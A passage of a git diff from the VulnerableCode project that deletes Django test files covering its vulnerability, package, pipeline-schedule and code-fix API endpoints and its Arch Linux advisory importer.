response.data["results"]["vulnerabilities"]["VCID-5678"]["vulnerability_id"], -# "VCID-5678", -# ) - -# def test_filter_vulnerabilities_multiple_ids(self): -# """ -# Test filtering vulnerabilities by multiple vulnerability_ids. -# """ -# url = reverse("vulnerability-v2-list") -# with self.assertNumQueries(4): -# response = self.client.get( -# url, -# {"vulnerability_id": ["VCID-1234", "VCID-5678"]}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(len(response.data["results"]["vulnerabilities"]), 2) - -# def test_filter_vulnerabilities_multiple_aliases(self): -# """ -# Test filtering vulnerabilities by multiple aliases. -# """ -# url = reverse("vulnerability-v2-list") -# with self.assertNumQueries(4): -# response = self.client.get( -# url, -# {"alias": ["CVE-2021-1234", "CVE-2021-5678"]}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(len(response.data["results"]["vulnerabilities"]), 2) - -# def test_invalid_vulnerability_id(self): -# """ -# Test retrieving a vulnerability with an invalid vulnerability_id. -# Should return 404 Not Found. -# """ -# url = reverse("vulnerability-v2-detail", kwargs={"vulnerability_id": "VCID-9999"}) -# with self.assertNumQueries(4): -# response = self.client.get( -# url, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) - -# def test_get_url_in_serializer(self): -# """ -# Test that the serializer correctly includes the URL field. -# """ -# vulnerability = Vulnerability.objects.get(vulnerability_id="VCID-1234") -# serializer = VulnerabilityListSerializer(vulnerability, context={"request": None}) -# self.assertIn("url", serializer.data) -# self.assertEqual(serializer.data["vulnerability_id"], "VCID-1234") - -# def test_list_vulnerabilities_pagination(self): -# """ -# Test listing vulnerabilities with pagination. -# """ -# # Create additional vulnerabilities to trigger pagination -# for i in range(3, 15): -# Vulnerability.objects.create( -# vulnerability_id=f"VCID-{i}", summary=f"Test vulnerability {i}" -# ) - -# url = reverse("vulnerability-v2-list") -# response = self.client.get( -# url, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertIn("results", response.data) -# self.assertIn("vulnerabilities", response.data["results"]) -# self.assertIn("next", response.data) -# self.assertIn("previous", response.data) -# # The 'vulnerabilities' dictionary should contain vulnerabilities up to the page limit -# self.assertEqual( -# len(response.data["results"]["vulnerabilities"]), 14 -# ) # Assuming default page size is 100 - - -# class PackageV2ViewSetTest(APITestCase): -# def setUp(self): -# # Create packages -# self.package1 = Package.objects.create( -# package_url="pkg:pypi/django@3.2", name="django", version="3.2", type="pypi" -# ) -# self.package2 = Package.objects.create( -# package_url="pkg:npm/lodash@4.17.20", name="lodash", version="4.17.20", type="npm" -# ) - -# # Create vulnerabilities -# self.vuln1 = Vulnerability.objects.create( -# vulnerability_id="VCID-1234", summary="Test vulnerability 1" -# ) -# self.vuln2 = Vulnerability.objects.create( -# vulnerability_id="VCID-5678", summary="Test vulnerability 2" -# ) - -# # Associate packages with vulnerabilities -# self.package1.affected_by_vulnerabilities.add(self.vuln1) -# self.package2.fixing_vulnerabilities.add(self.vuln2) - -# cache.clear() -# self.client = APIClient(enforce_csrf_checks=True) - -# def test_list_packages(self): -# """ -# Test listing packages without filters. -# Should return a list of packages with their details and associated vulnerabilities. -# """ -# url = reverse("package-v2-list") -# with self.assertNumQueries(31): -# response = self.client.get( -# url, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertIn("results", response.data) -# self.assertIn("packages", response.data["results"]) -# self.assertIn("vulnerabilities", response.data["results"]) -# self.assertEqual(len(response.data["results"]["packages"]), 2) -# # Verify that vulnerabilities are included -# self.assertIsInstance(response.data["results"]["vulnerabilities"], dict) -# package_vulns = set() -# for package in response.data["results"]["packages"]: -# package_vulns.update(package["affected_by_vulnerabilities"]) -# package_vulns.update(package["fixing_vulnerabilities"]) -# self.assertTrue( -# all(vuln_id in response.data["results"]["vulnerabilities"] for vuln_id in package_vulns) -# ) - -# def test_filter_packages_by_purl(self): -# """ -# Test filtering packages by one or more PURLs. -# """ -# url = reverse("package-v2-list") -# with self.assertNumQueries(19): -# response = self.client.get( -# url, -# {"purl": "pkg:pypi/django@3.2"}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(len(response.data["results"]["packages"]), 1) -# self.assertEqual(response.data["results"]["packages"][0]["purl"], "pkg:pypi/django@3.2") - -# def test_filter_packages_by_affected_vulnerability(self): -# """ -# Test filtering packages by affected_by_vulnerability. -# """ -# url = reverse("package-v2-list") -# with self.assertNumQueries(19): -# response = self.client.get( -# url, -# {"affected_by_vulnerability": "VCID-1234"}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(len(response.data["results"]["packages"]), 1) -# self.assertEqual(response.data["results"]["packages"][0]["purl"], "pkg:pypi/django@3.2") - -# def test_filter_packages_by_fixing_vulnerability(self): -# """ -# Test filtering packages by fixing_vulnerability. -# """ -# url = reverse("package-v2-list") -# with self.assertNumQueries(17): -# response = self.client.get( -# url, -# {"fixing_vulnerability": "VCID-5678"}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(len(response.data["results"]["packages"]), 1) -# self.assertEqual(response.data["results"]["packages"][0]["purl"], "pkg:npm/lodash@4.17.20") - -# def test_package_serializer_fields(self): -# """ -# Test that the PackageV2Serializer returns the correct fields and formats them correctly. -# """ -# # Fetch the package -# package = Package.objects.get(package_url="pkg:pypi/django@3.2") - -# # Ensure prefetched data is available for the serializer -# package = ( -# Package.objects.filter(package_url="pkg:pypi/django@3.2") -# .prefetch_related( -# Prefetch( -# "affected_by_vulnerabilities", -# queryset=Vulnerability.objects.prefetch_related("fixed_by_packages"), -# to_attr="prefetched_affected_vulnerabilities", -# ) -# ) -# .first() -# ) - -# # Serialize the package -# serializer = PackageV2Serializer(package) -# data = serializer.data - -# # Verify the presence of required fields -# self.assertIn("purl", data) -# self.assertIn("affected_by_vulnerabilities", data) -# self.assertIn("fixing_vulnerabilities", data) -# self.assertIn("next_non_vulnerable_version", data) -# self.assertIn("latest_non_vulnerable_version", data) -# self.assertIn("risk_score", data) - -# # Verify field values -# self.assertEqual(data["purl"], "pkg:pypi/django@3.2") -# self.assertEqual(data["next_non_vulnerable_version"], None) -# self.assertEqual(data["latest_non_vulnerable_version"], None) -# self.assertEqual(data["risk_score"], None) - -# # Verify affected_by_vulnerabilities structure -# expected_affected_by_vulnerabilities = { -# "VCID-1234": { -# "code_fixes": [], -# "vulnerability_id": "VCID-1234", -# "fixed_by_packages": None, -# } -# } -# self.assertEqual(data["affected_by_vulnerabilities"], expected_affected_by_vulnerabilities) - -# # Verify fixing_vulnerabilities structure -# expected_fixing_vulnerabilities = [] -# self.assertEqual(data["fixing_vulnerabilities"], expected_fixing_vulnerabilities) - -# def test_list_packages_pagination(self): -# """ -# Test listing packages with pagination. -# """ -# # Create additional packages to trigger pagination -# for i in range(3, 15): -# Package.objects.create( -# package_url=f"pkg:pypi/package{i}@1.0.{i}", -# name=f"package{i}", -# version=f"1.0.{i}", -# type="pypi", -# ) - -# url = reverse("package-v2-list") -# response = self.client.get(url, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertIn("results", response.data) -# self.assertIn("packages", response.data["results"]) -# self.assertIn("vulnerabilities", response.data["results"]) -# self.assertIn("next", response.data) -# self.assertIn("previous", response.data) -# self.assertEqual( -# len(response.data["results"]["packages"]), 14 -# ) # Assuming default page size is 100 - -# def test_invalid_vulnerability_filter(self): -# """ -# Test filtering packages with an invalid vulnerability ID. -# Should return an empty list. -# """ -# url = reverse("package-v2-list") -# with self.assertNumQueries(3): -# response = self.client.get( -# url, -# {"affected_by_vulnerability": "VCID-9999"}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(len(response.data["results"]["packages"]), 0) - -# def test_invalid_purl_filter(self): -# """ -# Test filtering packages with an invalid PURL. -# Should return an empty list. -# """ -# url = reverse("package-v2-list") -# with self.assertNumQueries(3): -# response = self.client.get( -# url, -# {"purl": "pkg:nonexistent/package@1.0.0"}, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(len(response.data["results"]["packages"]), 0) - -# def test_get_affected_by_vulnerabilities(self): -# """ -# Test the get_affected_by_vulnerabilities method in the serializer. -# """ -# package = ( -# Package.objects.filter(package_url="pkg:pypi/django@3.2") -# .prefetch_related( -# Prefetch( -# "affected_by_vulnerabilities", -# queryset=Vulnerability.objects.prefetch_related("fixed_by_packages"), -# to_attr="prefetched_affected_vulnerabilities", -# ) -# ) -# .first() -# ) - -# serializer = PackageV2Serializer() -# vulnerabilities = serializer.get_affected_by_vulnerabilities(package) -# self.assertEqual( -# vulnerabilities, -# { -# "VCID-1234": { -# "code_fixes": [], -# "vulnerability_id": "VCID-1234", -# "fixed_by_packages": None, -# } -# }, -# ) - -# def test_get_fixing_vulnerabilities(self): -# """ -# Test the get_fixing_vulnerabilities method in the serializer. -# """ -# package = Package.objects.get(package_url="pkg:npm/lodash@4.17.20") -# serializer = PackageV2Serializer() -# vulnerabilities = serializer.get_fixing_vulnerabilities(package) -# self.assertEqual(vulnerabilities, ["VCID-5678"]) - -# def test_bulk_lookup_with_valid_purls(self): -# """ -# Test bulk lookup with valid PURLs. -# Should return packages and their associated vulnerabilities. -# """ -# url = reverse("package-v2-bulk-lookup") -# data = {"purls": ["pkg:pypi/django@3.2", "pkg:npm/lodash@4.17.20"]} -# with self.assertNumQueries(27): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertIn("packages", response.data) -# self.assertIn("vulnerabilities", response.data) -# self.assertEqual(len(response.data["packages"]), 2) -# # Verify that the returned data matches the packages -# purls = [package["purl"] for package in response.data["packages"]] -# self.assertIn("pkg:pypi/django@3.2", purls) -# self.assertIn("pkg:npm/lodash@4.17.20", purls) -# # Verify that vulnerabilities are included -# package_vulns = set() -# for package in response.data["packages"]: -# package_vulns.update(package["affected_by_vulnerabilities"]) -# package_vulns.update(package["fixing_vulnerabilities"]) -# self.assertTrue( -# all(vuln_id in response.data["vulnerabilities"] for vuln_id in package_vulns) -# ) - -# def test_bulk_lookup_with_invalid_purls(self): -# """ -# Test bulk lookup with invalid PURLs. -# """ -# url = reverse("package-v2-bulk-lookup") -# data = {"purls": ["pkg:pypi/nonexistent@1.0.0", "pkg:npm/unknown@0.0.1"]} -# with self.assertNumQueries(3): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# # Since the packages don't exist, the response should be empty -# self.assertEqual(len(response.data["packages"]), 0) -# self.assertEqual(len(response.data["vulnerabilities"]), 0) - -# def test_bulk_lookup_with_empty_purls(self): -# """ -# Test bulk lookup with empty purls list. -# Should return 400 Bad Request. -# """ -# url = reverse("package-v2-bulk-lookup") -# data = {"purls": []} -# with self.assertNumQueries(2): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) -# self.assertIn("error", response.data) -# self.assertIn("message", response.data) -# self.assertEqual(response.data["message"], "A non-empty 'purls' list of PURLs is required.") - -# def test_bulk_search_with_valid_purls(self): -# """ -# Test bulk search with valid PURLs. -# Should return packages and their associated vulnerabilities. -# """ -# url = reverse("package-v2-bulk-search") -# data = {"purls": ["pkg:pypi/django@3.2", "pkg:npm/lodash@4.17.20"]} -# with self.assertNumQueries(27): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertIn("packages", response.data) -# self.assertIn("vulnerabilities", response.data) -# self.assertEqual(len(response.data["packages"]), 2) -# purls = [package["purl"] for package in response.data["packages"]] -# self.assertIn("pkg:pypi/django@3.2", purls) -# self.assertIn("pkg:npm/lodash@4.17.20", purls) -# # Verify that vulnerabilities are included -# package_vulns = set() -# for package in response.data["packages"]: -# package_vulns.update(package["affected_by_vulnerabilities"]) -# package_vulns.update(package["fixing_vulnerabilities"]) -# self.assertTrue( -# all(vuln_id in response.data["vulnerabilities"] for vuln_id in package_vulns) -# ) - -# def test_bulk_search_with_purl_only_true(self): -# """ -# Test bulk search with purl_only set to True. -# Should return only the PURLs of vulnerable packages. -# """ -# url = reverse("package-v2-bulk-search") -# data = { -# "purls": ["pkg:pypi/django@3.2", "pkg:npm/lodash@4.17.20"], -# "purl_only": True, -# } -# with self.assertNumQueries(16): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# # Since purl_only=True, response should be a list of PURLs -# self.assertIsInstance(response.data, list) -# # Only vulnerable packages should be included -# self.assertEqual(len(response.data), 1) -# self.assertEqual(response.data, ["pkg:pypi/django@3.2"]) - -# def test_bulk_search_with_plain_purl_true(self): -# """ -# Test bulk search with plain_purl set to True. -# Should return packages grouped by plain PURLs. -# """ -# # Create another package with the same name and version but different qualifiers -# Package.objects.create( -# name="django", -# version="3.2", -# type="pypi", -# qualifiers={"extension": "tar.gz"}, -# ) - -# url = reverse("package-v2-bulk-search") -# data = { -# "purls": ["pkg:pypi/django@3.2", "pkg:pypi/django@3.2?extension=tar.gz"], -# "plain_purl": True, -# } -# with self.assertNumQueries(15): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertIn("packages", response.data) -# self.assertIn("vulnerabilities", response.data) -# # Since plain_purl=True, packages with the same type, namespace, name, version are grouped -# self.assertEqual(len(response.data["packages"]), 1) -# purl = response.data["packages"][0]["purl"] -# self.assertTrue(purl.startswith("pkg:pypi/django@3.2")) - -# def test_bulk_search_with_purl_only_and_plain_purl_true(self): -# """ -# Test bulk search with purl_only and plain_purl both set to True. -# Should return only the plain PURLs of vulnerable packages. -# """ -# url = reverse("package-v2-bulk-search") -# data = { -# "purls": ["pkg:pypi/django@3.2", "pkg:pypi/django@3.1"], -# "purl_only": True, -# "plain_purl": True, -# } -# with self.assertNumQueries(10): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# # Response should be a list of plain PURLs -# self.assertIsInstance(response.data, list) -# # Only one plain PURL should be returned for vulnerable packages -# self.assertEqual(len(response.data), 1) -# self.assertEqual(response.data, ["pkg:pypi/django@3.2"]) - -# def test_bulk_search_with_invalid_purls(self): -# """ -# Test bulk search with invalid PURLs. -# Should return an empty response. -# """ -# url = reverse("package-v2-bulk-search") -# data = {"purls": ["pkg:pypi/nonexistent@1.0.0", "pkg:npm/unknown@0.0.1"]} -# with self.assertNumQueries(3): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# # Since the packages don't exist, the response should be empty -# self.assertEqual(len(response.data["packages"]), 0) -# self.assertEqual(len(response.data["vulnerabilities"]), 0) - -# def test_bulk_search_with_empty_purls(self): -# """ -# Test bulk search with empty purls list. -# Should return 400 Bad Request. -# """ -# url = reverse("package-v2-bulk-search") -# data = {"purls": []} -# with self.assertNumQueries(2): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) -# self.assertIn("error", response.data) -# self.assertIn("message", response.data) -# self.assertEqual(response.data["message"], "A non-empty 'purls' list of PURLs is required.") - -# def test_all_vulnerable_packages(self): -# """ -# Test the 'all' endpoint that returns all vulnerable package URLs. -# """ -# url = reverse("package-v2-all") -# with self.assertNumQueries(3): -# response = self.client.get(url, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# # Since package1 is vulnerable, it should be returned -# expected_purls = ["pkg:pypi/django@3.2"] -# self.assertEqual(sorted(response.data), sorted(expected_purls)) - -# def test_lookup_with_valid_purl(self): -# """ -# Test the 'lookup' endpoint with a valid PURL. -# Should return the package and its associated vulnerabilities. -# """ -# url = reverse("package-v2-lookup") -# data = {"purl": "pkg:pypi/django@3.2"} -# with self.assertNumQueries(12): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(1, len(response.data)) -# self.assertIn("purl", response.data[0]) -# self.assertIn("affected_by_vulnerabilities", response.data[0]) -# self.assertIn("fixing_vulnerabilities", response.data[0]) -# self.assertIn("next_non_vulnerable_version", response.data[0]) -# self.assertIn("latest_non_vulnerable_version", response.data[0]) -# self.assertEqual(response.data[0]["purl"], "pkg:pypi/django@3.2") -# self.assertEqual( -# response.data[0]["affected_by_vulnerabilities"], -# { -# "VCID-1234": { -# "code_fixes": [], -# "vulnerability_id": "VCID-1234", -# "fixed_by_packages": None, -# } -# }, -# ) -# self.assertEqual(response.data[0]["fixing_vulnerabilities"], []) - -# def test_lookup_with_invalid_purl(self): -# """ -# Test the 'lookup' endpoint with a PURL that does not exist. -# Should return empty packages and vulnerabilities. -# """ -# url = reverse("package-v2-lookup") -# data = {"purl": "pkg:pypi/nonexistent@1.0.0"} -# with self.assertNumQueries(3): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# # No packages or vulnerabilities should be returned -# self.assertEqual(len(response.data), 0) - -# def test_lookup_with_missing_purl(self): -# """ -# Test the 'lookup' endpoint without providing a 'purl'. -# Should return 400 Bad Request. -# """ -# url = reverse("package-v2-lookup") -# data = {} -# with self.assertNumQueries(2): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) -# self.assertIn("error", response.data) -# self.assertIn("message", response.data) -# self.assertEqual(response.data["message"], "A 'purl' is required.") - -# def test_lookup_with_invalid_purl_format(self): -# """ -# Test the 'lookup' endpoint with an invalid PURL format. -# Should return empty packages and vulnerabilities. -# """ -# url = reverse("package-v2-lookup") -# data = {"purl": "invalid_purl_format"} -# with self.assertNumQueries(3): -# response = self.client.post(url, data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# # No packages or vulnerabilities should be returned -# self.assertEqual(len(response.data), 0) - - -# class PipelineScheduleV2ViewSetTest(APITestCase): -# def setUp(self): -# # Reset the api throttling for anon user to properly test the -# # access on schedule endpoint. -# # DRF stores throttling state in cache, clear cache to reset throttling. -# # See https://www.django-rest-framework.org/api-guide/throttling/#setting-up-the-cache -# cache.clear() - -# patcher = patch.object(PipelineSchedule, "create_new_job") -# self.mock_create_new_job = patcher.start() -# self.addCleanup(patcher.stop) - -# self.mock_create_new_job.return_value = "work-id" - -# self.schedule1 = PipelineSchedule.objects.create( -# pipeline_id="test_pipeline", -# ) -# self.run1 = PipelineRun.objects.create( -# pipeline=self.schedule1, -# ) - -# self.admin_user = User.objects.create_superuser( -# username="admin_with_session", -# password="adminpassword", -# email="admin@test.com", -# ) - -# self.admin_token_only_user = ApiUser.objects.create_api_user( -# username="staff_with_token", -# is_staff=True, -# ) -# self.admin_token_auth = f"Token {self.admin_token_only_user.auth_token.key}" - -# def test_schedule_list_anon_user_permitted(self): -# response = self.client.get("/api/v2/pipelines/", HTTP_USER_AGENT="VCIO_API_AGENT") -# self.assertEqual(response.status_code, status.HTTP_200_OK) - -# def test_schedule_retrieve_anon_user_permitted(self): -# response = self.client.get( -# "/api/v2/pipelines/test_pipeline/", HTTP_USER_AGENT="VCIO_API_AGENT" -# ) -# self.assertEqual(response.status_code, status.HTTP_200_OK) - -# @patch("vulnerabilities.models.PipelineSchedule.create_new_job") -# def test_create_schedule_anon_user_not_permitted(self, mock_create_new_job): -# mock_create_new_job.return_value = "work-id2" - -# data = {"pipeline_id": "test_pipeline2"} -# response = self.client.post( -# "/api/v2/pipelines/", data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ) - -# self.assertNotEqual(response.status_code, status.HTTP_201_CREATED) -# self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) -# self.assertEqual(PipelineSchedule.objects.count(), 1) - -# @patch("vulnerabilities.models.PipelineSchedule.create_new_job") -# def test_create_schedule_with_staff_token_not_permitted(self, mock_create_new_job): -# self.client = APIClient(enforce_csrf_checks=True) -# self.client.credentials(HTTP_AUTHORIZATION=self.admin_token_auth) - -# mock_create_new_job.return_value = "work-id3" - -# data = {"pipeline_id": "test_pipeline3"} -# response = self.client.post( -# "/api/v2/pipelines/", data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ) - -# self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) -# self.assertNotEqual(response.status_code, status.HTTP_201_CREATED) -# self.assertEqual(PipelineSchedule.objects.count(), 1) - -# @patch("vulnerabilities.models.PipelineSchedule.create_new_job") -# def test_create_schedule_with_staff_session_permitted(self, mock_create_new_job): -# mock_create_new_job.return_value = "work-id4" -# self.client.login(username="admin_with_session", password="adminpassword") - -# data = {"pipeline_id": "test_pipeline3"} -# response = self.client.post( -# "/api/v2/pipelines/", data, format="json", HTTP_USER_AGENT="VCIO_API_AGENT" -# ) - -# self.assertNotEqual(response.status_code, status.HTTP_403_FORBIDDEN) -# self.assertEqual(response.status_code, status.HTTP_201_CREATED) -# self.assertEqual(PipelineSchedule.objects.count(), 2) - -# @patch("vulnerabilities.models.PipelineSchedule.create_new_job") -# def test_schedule_update_anon_user_not_permitted(self, mock_create_new_job): -# mock_create_new_job.return_value = "work-id5" - -# data = {"run_interval": 2} -# response = self.client.patch( -# "/api/v2/pipelines/test_pipeline/", -# data, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.schedule1.refresh_from_db() - -# self.assertNotEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) -# self.assertEqual(self.schedule1.run_interval, 1440) - -# @patch("vulnerabilities.models.PipelineSchedule.create_new_job") -# def test_schedule_update_with_staff_token_not_permitted(self, mock_create_new_job): -# self.client = APIClient(enforce_csrf_checks=True) -# self.client.credentials(HTTP_AUTHORIZATION=self.admin_token_auth) - -# mock_create_new_job.return_value = "work-id6" - -# data = {"run_interval": 2} -# response = self.client.patch( -# "/api/v2/pipelines/test_pipeline/", -# data, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.schedule1.refresh_from_db() - -# self.assertNotEqual(response.status_code, status.HTTP_200_OK) -# self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) -# self.assertEqual(self.schedule1.run_interval, 1440) - -# @patch("vulnerabilities.models.PipelineSchedule.create_new_job") -# def test_schedule_update_with_staff_session_permitted(self, mock_create_new_job): -# mock_create_new_job.return_value = "work-id7" -# self.client.login(username="admin_with_session", password="adminpassword") - -# data = {"run_interval": 5} -# response = self.client.patch( -# "/api/v2/pipelines/test_pipeline/", -# data, -# format="json", -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# self.schedule1.refresh_from_db() - -# self.assertEqual(response.status_code, status.HTTP_200_OK) -# self.assertNotEqual(response.status_code, status.HTTP_403_FORBIDDEN) -# self.assertEqual(self.schedule1.run_interval, 5) - - -# class CodeFixV2APITest(APITestCase): -# def setUp(self): -# self.advisory = AdvisoryV2.objects.create( -# datasource_id="test_source", -# pipeline_id="test_source_v2", -# advisory_id="TEST-2025-001", -# avid="test_source/TEST-2025-001", -# unique_content_id="a" * 64, -# url="https://example.com/advisory", -# date_collected="2025-07-01T00:00:00Z", -# ) - -# self.affected_package = PackageV2.objects.from_purl(purl="pkg:pypi/affected_package@1.0.0") -# self.fixed_package = PackageV2.objects.from_purl(purl="pkg:pypi/fixed_package@1.0.1") - -# self.codefix = CodeFixV2.objects.create( -# advisory=self.advisory, -# affected_package=self.affected_package, -# fixed_package=self.fixed_package, -# notes="Security patch", -# is_reviewed=True, -# ) -# self.user = ApiUser.objects.create_api_user(username="e@mail.com") -# self.auth = f"Token {self.user.auth_token.key}" -# self.client = APIClient(enforce_csrf_checks=True) -# self.client.credentials(HTTP_AUTHORIZATION=self.auth) - -# self.url = reverse("advisory-codefix-list") - -# def test_list_all_codefixes(self): -# with self.assertNumQueries(10): -# response = self.client.get(self.url, HTTP_USER_AGENT="VCIO_API_AGENT") -# assert response.status_code == status.HTTP_200_OK -# assert response.data["count"] == 1 -# assert response.data["results"][0]["affected_advisory_id"] == self.advisory.avid - -# def test_filter_codefix_by_advisory_id_success(self): -# with self.assertNumQueries(10): -# response = self.client.get( -# self.url, {"advisory_id": self.advisory.avid}, HTTP_USER_AGENT="VCIO_API_AGENT" -# ) -# assert response.status_code == status.HTTP_200_OK -# assert response.data["count"] == 1 -# assert response.data["results"][0]["affected_advisory_id"] == self.advisory.avid - -# def test_filter_codefix_by_advisory_id_not_found(self): -# with self.assertNumQueries(6): -# response = self.client.get( -# self.url, -# {"advisory_id": "nonexistent/ADVISORY-ID"}, -# HTTP_USER_AGENT="VCIO_API_AGENT", -# ) -# assert response.status_code == status.HTTP_200_OK -# assert response.data["count"] == 0 diff --git a/vulnerabilities/tests/test_archlinux.py b/vulnerabilities/tests/test_archlinux.py deleted file mode 100644 index d8582191c..000000000 --- a/vulnerabilities/tests/test_archlinux.py +++ /dev/null @@ -1,49 +0,0 @@ -# -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from unittest.mock import patch - -from vulnerabilities.importers import archlinux -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/archlinux") - - -def test_parse_advisory_single(): - record = { - "name": "AVG-2781", - "packages": ["python-pyjwt"], - "status": "Unknown", - "severity": "Unknown", - "type": "unknown", - "affected": "2.3.0-1", - "fixed": "2.4.0-1", - "ticket": None, - "issues": ["CVE-2022-29217"], - "advisories": [], - } - - advisory_data = archlinux.ArchlinuxImporter().parse_advisory(record) - result = [data.to_dict() for data in advisory_data] - expected_file = os.path.join(TEST_DATA, f"parse-advisory-archlinux-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -@patch("vulnerabilities.importers.archlinux.ArchlinuxImporter.fetch") -def test_archlinux_importer(mock_response): - with open(os.path.join(TEST_DATA, "archlinux-multi.json")) as f: - mock_response.return_value = json.load(f) - - expected_file = os.path.join(TEST_DATA, f"archlinux-multi-expected.json") - result = [data.to_dict() for data in list(archlinux.ArchlinuxImporter().advisory_data())] - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_changelog.py b/vulnerabilities/tests/test_changelog.py deleted file mode 100644 index fce5be00f..000000000 --- a/vulnerabilities/tests/test_changelog.py +++ /dev/null @@ -1,142 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -from datetime import datetime -from unittest.mock import patch - -import pytest -from packageurl import PackageURL -from univers.version_range import NpmVersionRange -from univers.versions import SemverVersion - -from vulnerabilities import models -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.pipelines.npm_importer import NpmImporterPipeline -from vulnerabilities.pipes.advisory import get_or_create_aliases - - -@pytest.mark.django_db -def test_package_changelog(): - pkg, _ = models.Package.objects.get_or_create_from_purl("pkg:npm/foo@1.0.0") - assert models.PackageChangeLog.objects.filter(package=pkg).count() == 0 - adv = models.Advisory.objects.create( - unique_content_id="test-unique-content-id1", - created_by=NpmImporterPipeline.pipeline_id, - summary="TEST", - date_collected=datetime.now(), - url="https://test.com/source", - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="npm", - name="foo", - ), - fixed_version=SemverVersion("1.0"), - ).to_dict() - ], - ) - adv.aliases.add(*get_or_create_aliases(["CVE-123"])) - NpmImporterPipeline().import_advisory(advisory=adv) - assert models.PackageChangeLog.objects.filter(package=pkg).count() == 1 - NpmImporterPipeline().import_advisory(advisory=adv) - assert models.PackageChangeLog.objects.filter(package=pkg).count() == 1 - assert ( - models.PackageChangeLog.objects.filter( - action_type=models.PackageChangeLog.FIXING, package=pkg - ).count() - == 1 - ) - pkg1, _ = models.Package.objects.get_or_create_from_purl("pkg:npm/foo@2.0.0") - assert models.PackageChangeLog.objects.filter(package=pkg1).count() == 0 - adv = models.Advisory.objects.create( - unique_content_id="test-unique-content-id2", - 